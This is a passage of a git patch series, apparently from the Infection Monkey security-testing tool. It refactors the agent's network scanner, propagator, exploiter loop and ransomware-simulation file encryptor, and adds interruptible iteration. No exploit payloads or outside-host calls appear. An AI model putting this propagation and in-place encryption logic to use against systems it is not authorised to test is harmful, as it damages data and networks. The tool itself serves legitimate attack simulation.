False}}) + assert not config.start_mongodb + + +def test_crt_path_overridden(patched_home_env): + expected_path = Path("/fake/file.crt") + config = IslandConfigOptions() + assert config.crt_path != expected_path + + config.update({"ssl_certificate": {"ssl_certificate_file": str(expected_path)}}) + assert config.crt_path == expected_path + + +def test_key_path_overridden(patched_home_env): + expected_path = Path("/fake/file.key") + config = IslandConfigOptions() + assert config.key_path != expected_path + + config.update({"ssl_certificate": {"ssl_certificate_key_file": str(expected_path)}}) + assert config.key_path == expected_path From ea0ab309d2ffe5a9900436cf9145343aa2357bdd Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 23 Jan 2022 19:29:40 -0500 Subject: [PATCH 0257/1110] Agent: Improve loop code in IPScanner._scan_address() --- monkey/infection_monkey/master/ip_scanner.py | 16 +++++++--------- 1 file changed, 7 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/master/ip_scanner.py b/monkey/infection_monkey/master/ip_scanner.py index 0cd2b021f..a95f6aec8 100644 --- a/monkey/infection_monkey/master/ip_scanner.py +++ b/monkey/infection_monkey/master/ip_scanner.py @@ -49,25 +49,23 @@ class IPScanner: self, addresses: Queue, options: Dict, results_callback: Callback, stop: Event ): logger.debug(f"Starting scan thread -- Thread ID: {threading.get_ident()}") + icmp_timeout = options["icmp"]["timeout_ms"] / 1000 + tcp_timeout = options["tcp"]["timeout_ms"] / 1000 + tcp_ports = options["tcp"]["ports"] try: while not stop.is_set(): address = addresses.get_nowait() - ip = address.ip - logger.info(f"Scanning {ip}") + logger.info(f"Scanning {address.ip}") - icmp_timeout = options["icmp"]["timeout_ms"] / 1000 - ping_scan_data = self._puppet.ping(ip, icmp_timeout) - - tcp_timeout = options["tcp"]["timeout_ms"] / 1000 - tcp_ports = options["tcp"]["ports"] - port_scan_data = self._scan_tcp_ports(ip, tcp_ports, tcp_timeout, stop) + ping_scan_data = self._puppet.ping(address.ip, icmp_timeout) + port_scan_data = self._scan_tcp_ports(address.ip, tcp_ports, tcp_timeout, stop) fingerprint_data = {} if IPScanner.port_scan_found_open_port(port_scan_data): fingerprinters = options["fingerprinters"] fingerprint_data = self._run_fingerprinters( - ip, fingerprinters, ping_scan_data, port_scan_data, stop + address.ip, fingerprinters, ping_scan_data, port_scan_data, stop ) scan_results = IPScanResults(ping_scan_data, port_scan_data, fingerprint_data) From fa59f45d31a4a133fd1ac45cab2289de28935a89 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 23 Jan 2022 19:30:52 -0500 Subject: [PATCH 0258/1110] Agent: Use filter() to improve loop in _process_tcp_scan_results() --- monkey/infection_monkey/master/propagator.py | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/master/propagator.py b/monkey/infection_monkey/master/propagator.py index b3eb7faf9..e58fe5d06 100644 --- a/monkey/infection_monkey/master/propagator.py +++ b/monkey/infection_monkey/master/propagator.py @@ -107,14 +107,13 @@ class Propagator: victim_host.os["type"] = ping_scan_data.os @staticmethod - def _process_tcp_scan_results(victim_host: VictimHost, port_scan_data: PortScanData) -> bool: - for psd in port_scan_data.values(): - if psd.status == PortStatus.OPEN: - victim_host.services[psd.service] = {} - victim_host.services[psd.service]["display_name"] = "unknown(TCP)" - victim_host.services[psd.service]["port"] = psd.port - if psd.banner is not None: - victim_host.services[psd.service]["banner"] = psd.banner + def _process_tcp_scan_results(victim_host: VictimHost, port_scan_data: PortScanData): + for psd in filter(lambda psd: psd.status == PortStatus.OPEN, port_scan_data.values()): + victim_host.services[psd.service] = {} + victim_host.services[psd.service]["display_name"] = "unknown(TCP)" + victim_host.services[psd.service]["port"] = psd.port + if psd.banner is not None: + victim_host.services[psd.service]["banner"] = psd.banner @staticmethod def _process_fingerprinter_results(victim_host: VictimHost, fingerprint_data: FingerprintData): From 62efeffe90ba6d8882acb16ff0308231a07c2987 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 23 Jan 2022 19:31:47 -0500 Subject: [PATCH 0259/1110] Agent: Use iter() to improve InPlaceFileEncryptor._encrypt_file() --- .../payload/ransomware/in_place_file_encryptor.py | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/payload/ransomware/in_place_file_encryptor.py b/monkey/infection_monkey/payload/ransomware/in_place_file_encryptor.py index f4bcaf3aa..fc5523352 100644 --- a/monkey/infection_monkey/payload/ransomware/in_place_file_encryptor.py +++ b/monkey/infection_monkey/payload/ransomware/in_place_file_encryptor.py @@ -28,17 +28,12 @@ class InPlaceFileEncryptor: def _encrypt_file(self, filepath: Path): with open(filepath, "rb+") as f: - data = f.read(self._chunk_size) - while data: - num_bytes_read = len(data) - + for data in iter(lambda: f.read(self._chunk_size), b""): encrypted_data = self._encrypt_bytes(data) - f.seek(-num_bytes_read, 1) + f.seek(-len(encrypted_data), 1) f.write(encrypted_data) - data = f.read(self._chunk_size) - def _add_extension(self, filepath: Path): new_filepath = filepath.with_suffix(f"{filepath.suffix}{self._new_file_extension}") filepath.rename(new_filepath) From ce4c0188c2db5d647fc46f936672d004a16dddb2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 23 Jan 2022 19:33:03 -0500 Subject: [PATCH 0260/1110] Agent: Add missing type hints to dir_utils.py --- monkey/infection_monkey/utils/dir_utils.py | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/utils/dir_utils.py b/monkey/infection_monkey/utils/dir_utils.py index 704556335..2fd29af9e 100644 --- a/monkey/infection_monkey/utils/dir_utils.py +++ b/monkey/infection_monkey/utils/dir_utils.py @@ -6,7 +6,9 @@ def get_all_regular_files_in_directory(dir_path: Path) -> List[Path]: return filter_files(dir_path.iterdir(), [lambda f: f.is_file()]) -def filter_files(files: Iterable[Path], file_filters: List[Callable[[Path], bool]]): +def filter_files( + files: Iterable[Path], file_filters: Iterable[Callable[[Path], bool]] +) -> List[Path]: filtered_files = files for file_filter in file_filters: filtered_files = [f for f in filtered_files if file_filter(f)] @@ -14,16 +16,16 @@ def filter_files(files: Iterable[Path], file_filters: List[Callable[[Path], bool return filtered_files -def file_extension_filter(file_extensions: Set): - def inner_filter(f: Path): +def file_extension_filter(file_extensions: Set) -> Callable[[Path], bool]: + def inner_filter(f: Path) -> bool: return f.suffix in file_extensions return inner_filter -def is_not_symlink_filter(f: Path): +def is_not_symlink_filter(f: Path) -> bool: return not f.is_symlink() -def is_not_shortcut_filter(f: Path): +def is_not_shortcut_filter(f: Path) -> bool: return f.suffix != ".lnk" From f8ea2e06ac2c913cd8ea63268f7e25083217e86e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 23 Jan 2022 19:37:52 -0500 Subject: [PATCH 0261/1110] UT: Add test for create_daemon_thread() --- .../infection_monkey/master/test_threading_utils.py | 6 ++++++ 1 file changed, 6 insertions(+) create mode 100644 monkey/tests/unit_tests/infection_monkey/master/test_threading_utils.py diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_threading_utils.py b/monkey/tests/unit_tests/infection_monkey/master/test_threading_utils.py new file mode 100644 index 000000000..73fd7bad9 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/master/test_threading_utils.py @@ -0,0 +1,6 @@ +from infection_monkey.master.threading_utils import create_daemon_thread + + +def test_create_daemon_thread(): + thread = create_daemon_thread(lambda: None) + assert thread.daemon From df42d0752ad0770de74431e9479b1ee13945d3ba Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 24 Jan 2022 08:43:57 -0500 Subject: [PATCH 0262/1110] Agent: Add interruptable_iter() generator --- .../master/threading_utils.py | 31 ++++++++++++- .../master/test_threading_utils.py | 43 ++++++++++++++++++- 2 files changed, 71 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/master/threading_utils.py b/monkey/infection_monkey/master/threading_utils.py index dbcc67984..9ceec895f 100644 --- a/monkey/infection_monkey/master/threading_utils.py +++ b/monkey/infection_monkey/master/threading_utils.py @@ -1,5 +1,8 @@ -from threading import Thread -from typing import Callable, Tuple +import logging +from threading import Event, Thread +from typing import Any, Callable, Iterable, Tuple + +logger = logging.getLogger(__name__) def run_worker_threads(target: Callable[..., None], args: Tuple = (), num_workers: int = 2): @@ -15,3 +18,27 @@ def run_worker_threads(target: Callable[..., None], args: Tuple = (), num_worker def create_daemon_thread(target: Callable[..., None], args: Tuple = ()): return Thread(target=target, args=args, daemon=True) + + +def interruptable_iter( + iterator: Iterable, interrupt: Event, log_message: str = None, log_level: int = logging.DEBUG +) -> Any: + """ + Wraps an iterator so that the iterator can be interrupted if the `interrupt` Event is set. This + is a convinient way to make loops interruptable and avoids the need to add an `if` to each and + every loop. + :param Iterable iterator: An iterator that will be made interruptable. + :param Event interrupt: A `threading.Event` that, if set, will prevent the remainder of the + iterator's items from being processed. + :param str log_message: A message to be logged if the iterator is interrupted. If `log_message` + is `None` (default), then no message is logged. + :param int log_level: The log level at which to log `log_message`, defaults to `logging.DEBUG`. + """ + for i in iterator: + if interrupt.is_set(): + if log_message: + logger.log(log_level, log_message) + + break + + yield i diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_threading_utils.py b/monkey/tests/unit_tests/infection_monkey/master/test_threading_utils.py index 73fd7bad9..11d4fdf61 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_threading_utils.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_threading_utils.py @@ -1,6 +1,47 @@ -from infection_monkey.master.threading_utils import create_daemon_thread +import logging +from threading import Event + +from infection_monkey.master.threading_utils import create_daemon_thread, interruptable_iter def test_create_daemon_thread(): thread = create_daemon_thread(lambda: None) assert thread.daemon + + +def test_interruptable_iter(): + interrupt = Event() + items_from_iterator = [] + test_iterator = interruptable_iter(range(0, 10), interrupt, "Test iterator was interrupted") + + for i in test_iterator: + items_from_iterator.append(i) + if i == 3: + interrupt.set() + + assert items_from_iterator == [0, 1, 2, 3] + + +def test_interruptable_iter_not_interrupted(): + interrupt = Event() + items_from_iterator = [] + test_iterator = interruptable_iter(range(0, 5), interrupt, "Test iterator was interrupted") + + for i in test_iterator: + items_from_iterator.append(i) + + assert items_from_iterator == [0, 1, 2, 3, 4] + + +def test_interruptable_iter_interrupted_before_used(): + interrupt = Event() + items_from_iterator = [] + test_iterator = interruptable_iter( + range(0, 5), interrupt, "Test iterator was interrupted", logging.INFO + ) + + interrupt.set() + for i in test_iterator: + items_from_iterator.append(i) + + assert not items_from_iterator From 0c877833c51554602838a379b5fff6d5f1e3dfaf Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 24 Jan 2022 08:49:20 -0500 Subject: [PATCH 0263/1110] Agent: Move master/threading_utils.py -> utils/threading.py Both create_daemon_thread() and interruptable_iter() will need to be used outside of the master. --- monkey/infection_monkey/master/automated_master.py | 2 +- monkey/infection_monkey/master/exploiter.py | 3 +-- monkey/infection_monkey/master/ip_scanner.py | 2 +- monkey/infection_monkey/master/propagator.py | 2 +- .../{master/threading_utils.py => utils/threading.py} | 0 .../test_threading_utils.py => utils/test_threading.py} | 2 +- 6 files changed, 5 insertions(+), 6 deletions(-) rename monkey/infection_monkey/{master/threading_utils.py => utils/threading.py} (100%) rename monkey/tests/unit_tests/infection_monkey/{master/test_threading_utils.py => utils/test_threading.py} (92%) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 1f0410d5b..94a508e0c 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -11,10 +11,10 @@ from infection_monkey.network import NetworkInterface from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.telemetry.system_info_telem import SystemInfoTelem +from infection_monkey.utils.threading import create_daemon_thread from infection_monkey.utils.timer import Timer from . import Exploiter, IPScanner, Propagator -from .threading_utils import create_daemon_thread CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC = 5 CHECK_FOR_TERMINATE_INTERVAL_SEC = CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC / 5 diff --git a/monkey/infection_monkey/master/exploiter.py b/monkey/infection_monkey/master/exploiter.py index f1a804ba7..8acca5ffa 100644 --- a/monkey/infection_monkey/master/exploiter.py +++ b/monkey/infection_monkey/master/exploiter.py @@ -7,8 +7,7 @@ from typing import Callable, Dict, List from infection_monkey.i_puppet import ExploiterResultData, IPuppet from infection_monkey.model import VictimHost - -from .threading_utils import run_worker_threads +from infection_monkey.utils.threading import run_worker_threads QUEUE_TIMEOUT = 2 diff --git a/monkey/infection_monkey/master/ip_scanner.py b/monkey/infection_monkey/master/ip_scanner.py index a95f6aec8..bae6358e2 100644 --- a/monkey/infection_monkey/master/ip_scanner.py +++ b/monkey/infection_monkey/master/ip_scanner.py @@ -13,9 +13,9 @@ from infection_monkey.i_puppet import ( PortStatus, ) from infection_monkey.network import NetworkAddress +from infection_monkey.utils.threading import run_worker_threads from . import IPScanResults -from .threading_utils import run_worker_threads logger = logging.getLogger() diff --git a/monkey/infection_monkey/master/propagator.py b/monkey/infection_monkey/master/propagator.py index e58fe5d06..87f9a1896 100644 --- a/monkey/infection_monkey/master/propagator.py +++ b/monkey/infection_monkey/master/propagator.py @@ -16,9 +16,9 @@ from infection_monkey.network.scan_target_generator import compile_scan_target_l from infection_monkey.telemetry.exploit_telem import ExploitTelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.telemetry.scan_telem import ScanTelem +from infection_monkey.utils.threading import create_daemon_thread from . import Exploiter, IPScanner, IPScanResults -from .threading_utils import create_daemon_thread logger = logging.getLogger() diff --git a/monkey/infection_monkey/master/threading_utils.py b/monkey/infection_monkey/utils/threading.py similarity index 100% rename from monkey/infection_monkey/master/threading_utils.py rename to monkey/infection_monkey/utils/threading.py diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_threading_utils.py b/monkey/tests/unit_tests/infection_monkey/utils/test_threading.py similarity index 92% rename from monkey/tests/unit_tests/infection_monkey/master/test_threading_utils.py rename to monkey/tests/unit_tests/infection_monkey/utils/test_threading.py index 11d4fdf61..659fc7205 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_threading_utils.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_threading.py @@ -1,7 +1,7 @@ import logging from threading import Event -from infection_monkey.master.threading_utils import create_daemon_thread, interruptable_iter +from infection_monkey.utils.threading import create_daemon_thread, interruptable_iter def test_create_daemon_thread(): From fae0c8ded2159e657fa97d744248ab6c4772b437 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 24 Jan 2022 08:56:04 -0500 Subject: [PATCH 0264/1110] Agent: Replace if checks with interruptable_iter() in for loops --- monkey/infection_monkey/master/automated_master.py | 9 +++------ monkey/infection_monkey/master/exploiter.py | 7 ++----- monkey/infection_monkey/master/ip_scanner.py | 12 +++--------- .../payload/ransomware/ransomware.py | 12 +++++------- 4 files changed, 13 insertions(+), 27 deletions(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 94a508e0c..c68e77cb7 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -11,7 +11,7 @@ from infection_monkey.network import NetworkInterface from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.telemetry.system_info_telem import SystemInfoTelem -from infection_monkey.utils.threading import create_daemon_thread +from infection_monkey.utils.threading import create_daemon_thread, interruptable_iter from infection_monkey.utils.timer import Timer from . import Exploiter, IPScanner, Propagator @@ -195,11 +195,8 @@ class AutomatedMaster(IMaster): logger.info(f"Running {plugin_type}s") logger.debug(f"Found {len(plugin)} {plugin_type}(s) to run") - for p in plugin: - if self._stop.is_set(): - logger.debug(f"Received a stop signal, skipping remaining {plugin_type}s") - return - + interrupted_message = f"Received a stop signal, skipping remaining {plugin_type}s" + for p in interruptable_iter(plugin, self._stop, interrupted_message): callback(p) logger.info(f"Finished running {plugin_type}s") diff --git a/monkey/infection_monkey/master/exploiter.py b/monkey/infection_monkey/master/exploiter.py index 8acca5ffa..09f6ebf4b 100644 --- a/monkey/infection_monkey/master/exploiter.py +++ b/monkey/infection_monkey/master/exploiter.py @@ -7,7 +7,7 @@ from typing import Callable, Dict, List from infection_monkey.i_puppet import ExploiterResultData, IPuppet from infection_monkey.model import VictimHost -from infection_monkey.utils.threading import run_worker_threads +from infection_monkey.utils.threading import interruptable_iter, run_worker_threads QUEUE_TIMEOUT = 2 @@ -74,10 +74,7 @@ class Exploiter: results_callback: Callback, stop: Event, ): - for exploiter in exploiters_to_run: - if stop.is_set(): - break - + for exploiter in interruptable_iter(exploiters_to_run, stop): exploiter_name = exploiter["name"] exploiter_results = self._run_exploiter(exploiter_name, victim_host, stop) results_callback(exploiter_name, victim_host, exploiter_results) diff --git a/monkey/infection_monkey/master/ip_scanner.py b/monkey/infection_monkey/master/ip_scanner.py index bae6358e2..0f7132a27 100644 --- a/monkey/infection_monkey/master/ip_scanner.py +++ b/monkey/infection_monkey/master/ip_scanner.py @@ -13,7 +13,7 @@ from infection_monkey.i_puppet import ( PortStatus, ) from infection_monkey.network import NetworkAddress -from infection_monkey.utils.threading import run_worker_threads +from infection_monkey.utils.threading import interruptable_iter, run_worker_threads from . import IPScanResults @@ -85,10 +85,7 @@ class IPScanner: ) -> Dict[int, PortScanData]: port_scan_data = {} - for p in ports: - if stop.is_set(): - break - + for p in interruptable_iter(ports, stop): port_scan_data[p] = self._puppet.scan_tcp_port(ip, p, timeout) return port_scan_data @@ -107,10 +104,7 @@ class IPScanner: ) -> Dict[str, FingerprintData]: fingerprint_data = {} - for f in fingerprinters: - if stop.is_set(): - break - + for f in interruptable_iter(fingerprinters, stop): fingerprint_data[f] = self._puppet.fingerprint(f, ip, ping_scan_data, port_scan_data) return fingerprint_data diff --git a/monkey/infection_monkey/payload/ransomware/ransomware.py b/monkey/infection_monkey/payload/ransomware/ransomware.py index 003112cc3..febdfe025 100644 --- a/monkey/infection_monkey/payload/ransomware/ransomware.py +++ b/monkey/infection_monkey/payload/ransomware/ransomware.py @@ -5,6 +5,7 @@ from typing import Callable, List from infection_monkey.telemetry.file_encryption_telem import FileEncryptionTelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger +from infection_monkey.utils.threading import interruptable_iter from .consts import README_FILE_NAME, README_SRC from .ransomware_options import RansomwareOptions @@ -53,13 +54,10 @@ class Ransomware: def _encrypt_files(self, file_list: List[Path], interrupt: threading.Event): logger.info(f"Encrypting files in {self._target_directory}") - for filepath in file_list: - if interrupt.is_set(): - logger.debug( - "Received a stop signal, skipping remaining files for encryption of " - "ransomware payload" - ) - return + interrupted_message = ( + "Received a stop signal, skipping remaining files for encryption of ransomware payload" + ) + for filepath in interruptable_iter(file_list, interrupt, interrupted_message): try: logger.debug(f"Encrypting {filepath}") self._encrypt_file(filepath) From 3450ac93a31cef8101c08bccc0eedb04327e6a3c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 24 Jan 2022 14:01:03 -0500 Subject: [PATCH 0265/1110] Agent: Extract code from try/except in _leave_readme_in_target_directory --- monkey/infection_monkey/payload/ransomware/ransomware.py | 8 ++++---- .../payload/ransomware/test_ransomware.py | 7 ++++++- 2 files changed, 10 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/payload/ransomware/ransomware.py b/monkey/infection_monkey/payload/ransomware/ransomware.py index febdfe025..c4351acaf 100644 --- a/monkey/infection_monkey/payload/ransomware/ransomware.py +++ b/monkey/infection_monkey/payload/ransomware/ransomware.py @@ -71,11 +71,11 @@ class Ransomware: self._telemetry_messenger.send_telemetry(encryption_attempt) def _leave_readme_in_target_directory(self, interrupt: threading.Event): - try: - if interrupt.is_set(): - logger.debug("Received a stop signal, skipping leave readme") - return + if interrupt.is_set(): + logger.debug("Received a stop signal, skipping leave readme") + return + try: self._leave_readme(README_SRC, self._readme_file_path) except Exception as ex: logger.warning(f"An error occurred while attempting to leave a README.txt file: {ex}") diff --git a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware.py b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware.py index adffe6f88..365f9fecd 100644 --- a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware.py +++ b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware.py @@ -117,7 +117,12 @@ def test_interrupt_while_encrypting( mfe.assert_any_call(ransomware_test_data / HELLO_TXT) -def test_no_readme_after_interrupt(ransomware, interrupt, mock_leave_readme): +def test_no_readme_after_interrupt( + ransomware_options, build_ransomware, interrupt, mock_leave_readme +): + ransomware_options.readme_enabled = True + ransomware = build_ransomware(ransomware_options) + interrupt.set() ransomware.run(interrupt) From 1ca8c98b86cd2c076207e0451ab0e2962c467747 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 25 Jan 2022 19:55:52 -0500 Subject: [PATCH 0266/1110] Island: Use MappingProxyType for default argument in IslandConfigOptions --- monkey/monkey_island/cc/setup/island_config_options.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/setup/island_config_options.py b/monkey/monkey_island/cc/setup/island_config_options.py index 763474c83..b3408ad86 100644 --- a/monkey/monkey_island/cc/setup/island_config_options.py +++ b/monkey/monkey_island/cc/setup/island_config_options.py @@ -1,5 +1,8 @@ from __future__ import annotations +from types import MappingProxyType as ImmutableMapping +from typing import Mapping + from common.utils.file_utils import expand_path from monkey_island.cc.server_utils.consts import ( DEFAULT_CRT_PATH, @@ -19,10 +22,7 @@ _LOG_LEVEL = "log_level" class IslandConfigOptions: - def __init__(self, config_contents: dict = None): - if config_contents is None: - config_contents = {} - + def __init__(self, config_contents: Mapping[str, Mapping] = ImmutableMapping({})): self.data_dir = DEFAULT_DATA_DIR self.log_level = DEFAULT_LOG_LEVEL self.start_mongodb = DEFAULT_START_MONGO_DB @@ -33,7 +33,7 @@ class IslandConfigOptions: self.update(config_contents) - def update(self, config_contents: dict): + def update(self, config_contents: Mapping[str, Mapping]): self.data_dir = config_contents.get(_DATA_DIR, self.data_dir) self.log_level = config_contents.get(_LOG_LEVEL, self.log_level) From 8cf54e7673c2702734d2490dd56b459f19370f60 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 26 Jan 2022 08:11:35 -0500 Subject: [PATCH 0267/1110] Agent: Fix typo plugin -> plugins in _run_plugins() --- monkey/infection_monkey/master/automated_master.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index c68e77cb7..99bed4a3c 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -191,12 +191,12 @@ class AutomatedMaster(IMaster): self._puppet.run_payload(name, options, self._stop) - def _run_plugins(self, plugin: List[Any], plugin_type: str, callback: Callable[[Any], None]): + def _run_plugins(self, plugins: List[Any], plugin_type: str, callback: Callable[[Any], None]): logger.info(f"Running {plugin_type}s") - logger.debug(f"Found {len(plugin)} {plugin_type}(s) to run") + logger.debug(f"Found {len(plugins)} {plugin_type}(s) to run") interrupted_message = f"Received a stop signal, skipping remaining {plugin_type}s" - for p in interruptable_iter(plugin, self._stop, interrupted_message): + for p in interruptable_iter(plugins, self._stop, interrupted_message): callback(p) logger.info(f"Finished running {plugin_type}s") From 92636da4b2b5b5ab87f68c2f0639ded217060042 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 26 Jan 2022 08:13:35 -0500 Subject: [PATCH 0268/1110] Agent: Use Iterable instead of List for type hint in run_plugins() --- monkey/infection_monkey/master/automated_master.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 99bed4a3c..d30f1d819 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -1,7 +1,7 @@ import logging import threading import time -from typing import Any, Callable, Dict, List, Tuple +from typing import Any, Callable, Dict, Iterable, List, Tuple from infection_monkey.i_control_channel import IControlChannel, IslandCommunicationError from infection_monkey.i_master import IMaster @@ -191,7 +191,9 @@ class AutomatedMaster(IMaster): self._puppet.run_payload(name, options, self._stop) - def _run_plugins(self, plugins: List[Any], plugin_type: str, callback: Callable[[Any], None]): + def _run_plugins( + self, plugins: Iterable[Any], plugin_type: str, callback: Callable[[Any], None] + ): logger.info(f"Running {plugin_type}s") logger.debug(f"Found {len(plugins)} {plugin_type}(s) to run") From a88891557748356b0e50e884cc792ca4ad2411c7 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 26 Jan 2022 08:14:04 -0500 Subject: [PATCH 0269/1110] Agent: Add bool return type hint to _can_propagate() --- monkey/infection_monkey/master/automated_master.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index d30f1d819..28994d673 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -182,7 +182,7 @@ class AutomatedMaster(IMaster): command, result = self._puppet.run_pba(name, options) self._telemetry_messenger.send_telemetry(PostBreachTelem(name, command, result)) - def _can_propagate(self): + def _can_propagate(self) -> bool: return True def _run_payload(self, payload: Tuple[str, Dict]): From 8371a268ba8bcfdc04e063f4163640779f410448 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 26 Jan 2022 11:53:06 -0500 Subject: [PATCH 0270/1110] Island: Change the order of log messages on startup to improve UX Some users were confused when the Island started up and thought it had frozen. I hope to alleviate this confusion by changing the order of the log messages. If the last message displayed after initialization gives the user instructions on accessing the island, hopefully users will no longer be confused. PR #1684 --- CHANGELOG.md | 2 ++ monkey/monkey_island/cc/server_setup.py | 14 ++++++++++---- 2 files changed, 12 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index c0bec1526..df5828bc6 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -15,6 +15,8 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - "Communicate as Backdoor User" PBA's HTTP requests to request headers only and include a timeout. #1577 - The setup procedure for custom server_config.json files to be simpler. #1576 +- The order and content of Monkey Island's initialization logging to give + clearer instructions to the user and avoid confusion. #1684 ### Removed - The VSFTPD exploiter. #1533 diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index a3c0cf750..a99be1a40 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -167,11 +167,17 @@ def _start_bootloader_server() -> Thread: def _log_init_info(): + MonkeyDownload.log_executable_hashes() + logger.info("Monkey Island Server is running!") logger.info(f"version: {get_version()}") + + _log_web_interface_access_urls() + + +def _log_web_interface_access_urls(): + web_interface_urls = ", ".join([f"https://{ip}:{ISLAND_PORT}" for ip in local_ip_addresses()]) logger.info( - "Listening on the following URLs: {}".format( - ", ".join(["https://{}:{}".format(x, ISLAND_PORT) for x in local_ip_addresses()]) - ) + "To access the web interface, navigate to one of the the following URLs using your " + f"browser: {web_interface_urls}" ) - MonkeyDownload.log_executable_hashes() From 678db40e254515a8bb6d22359e3de99b78fdf99a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 27 Jan 2022 12:56:40 -0500 Subject: [PATCH 0271/1110] Agent: Check for spaces in IP or domain names socket.gethostbyname() may return different results on different systems when provided with an IP address that contains a space. This depends on python version or other environmental factors. For example: System 1: >>> socket.gethostbyname('172.60 .9.109') Traceback (most recent call last): File "", line 1, in socket.gaierror: [Errno -2] Name or service not known >>> socket.gethostbyname('172.17 .9.109') Traceback (most recent call last): File "", line 1, in socket.gaierror: [Errno -2] Name or service not known System 2: >>> socket.gethostbyname('172.60 .9.109') '172.0.0.60' To remedy this, this commit adds a check to verify that the IP/domain does not contain a space, as a space is an illegal character in either. --- monkey/common/network/network_range.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/common/network/network_range.py b/monkey/common/network/network_range.py index 326e365ce..63c7feba5 100644 --- a/monkey/common/network/network_range.py +++ b/monkey/common/network/network_range.py @@ -192,6 +192,9 @@ class SingleIpRange(NetworkRange): # The most common use case is to enter ip/range into "Scan IP/subnet list" domain_name = None + if " " in string_: + raise ValueError(f'"{string_}" is not a valid IP address or domain name.') + # Try casting user's input as IP try: ip = ipaddress.ip_address(string_).exploded From 3fc8621e163f5e13465e677d668debf8c76bfa11 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 27 Jan 2022 16:42:06 +0100 Subject: [PATCH 0272/1110] Docs: Remove MS08_067 exploiter documentation --- README.md | 1 - docs/content/reference/exploiters/MS08-067.md | 14 -------------- 2 files changed, 15 deletions(-) delete mode 100644 docs/content/reference/exploiters/MS08-067.md diff --git a/README.md b/README.md index 1e9477ea9..6100219df 100644 --- a/README.md +++ b/README.md @@ -47,7 +47,6 @@ The Infection Monkey uses the following techniques and exploits to propagate to * SMB * WMI * Shellshock - * Conficker * Elastic Search (CVE-2015-1427) * Weblogic server * and more, see our [Documentation hub](https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/) for more information about our RCE exploiters. diff --git a/docs/content/reference/exploiters/MS08-067.md b/docs/content/reference/exploiters/MS08-067.md deleted file mode 100644 index d4eb3b807..000000000 --- 